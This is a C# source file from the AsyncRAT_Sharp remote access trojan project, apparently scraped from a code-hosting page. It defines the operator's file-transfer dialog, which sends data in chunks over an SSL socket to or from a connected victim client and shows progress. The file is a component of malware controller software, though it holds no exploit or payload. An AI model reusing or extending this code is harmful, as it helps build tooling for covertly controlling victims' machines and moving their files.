110 lines
3.5 KiB
C#
110 lines
3.5 KiB
C#
using AsyncRAT_Sharp.Sockets;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Data;
|
|
using System.Drawing;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
using System.Threading;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using Timer = System.Threading.Timer;
|
|
using AsyncRAT_Sharp.Helper;
|
|
|
|
namespace AsyncRAT_Sharp.Forms
|
|
{
|
|
public partial class FormDownloadFile : Form
|
|
{
|
|
public FormDownloadFile()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
public Form1 F { get; set; }
|
|
internal Clients C { get; set; }
|
|
public long dSize = 0;
|
|
public bool isDownload = false;
|
|
private long BytesSent = 0;
|
|
private Timer Tick = null;
|
|
private async void timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
|
|
if (C.BytesRecevied >= dSize)
|
|
{
|
|
labelsize.Text = "Downloaded";
|
|
labelsize.ForeColor = Color.Green;
|
|
timer1.Stop();
|
|
await Task.Delay(1500);
|
|
this.Close();
|
|
}
|
|
}
|
|
|
|
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
|
|
{
|
|
if (isDownload)
|
|
{
|
|
if (C != null) C.Disconnected();
|
|
}
|
|
}
|
|
|
|
public void Send(object obj)
|
|
{
|
|
lock (C.SendSync)
|
|
{
|
|
try
|
|
{
|
|
byte[] msg = (byte[])obj;
|
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
|
C.ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
|
Tick = new Timer(new TimerCallback(Timer3), null, 0, 1000);
|
|
C.ClientSslStream.Write(buffersize);
|
|
C.ClientSslStream.Flush();
|
|
int chunkSize = 50 * 1024;
|
|
byte[] chunk = new byte[chunkSize];
|
|
using (MemoryStream buffereReader = new MemoryStream(msg))
|
|
{
|
|
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
|
int bytesToRead = (int)buffereReader.Length;
|
|
do
|
|
{
|
|
chunk = binaryReader.ReadBytes(chunkSize);
|
|
bytesToRead -= chunkSize;
|
|
C.ClientSslStream.Write(chunk);
|
|
C.ClientSslStream.Flush();
|
|
BytesSent += chunk.Length;
|
|
} while (bytesToRead > 0);
|
|
|
|
binaryReader.Close();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
private void Timer3(object obj)
|
|
{
|
|
if (Program.form1.InvokeRequired)
|
|
{
|
|
Program.form1.BeginInvoke((MethodInvoker)(async () =>
|
|
{
|
|
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
|
|
if (BytesSent > dSize)
|
|
{
|
|
labelsize.Text = "Downloaded";
|
|
labelsize.ForeColor = Color.Green;
|
|
timer1.Stop();
|
|
await Task.Delay(1500);
|
|
this.Close();
|
|
}
|
|
}));
|
|
}
|
|
}
|
|
}
|
|
}
|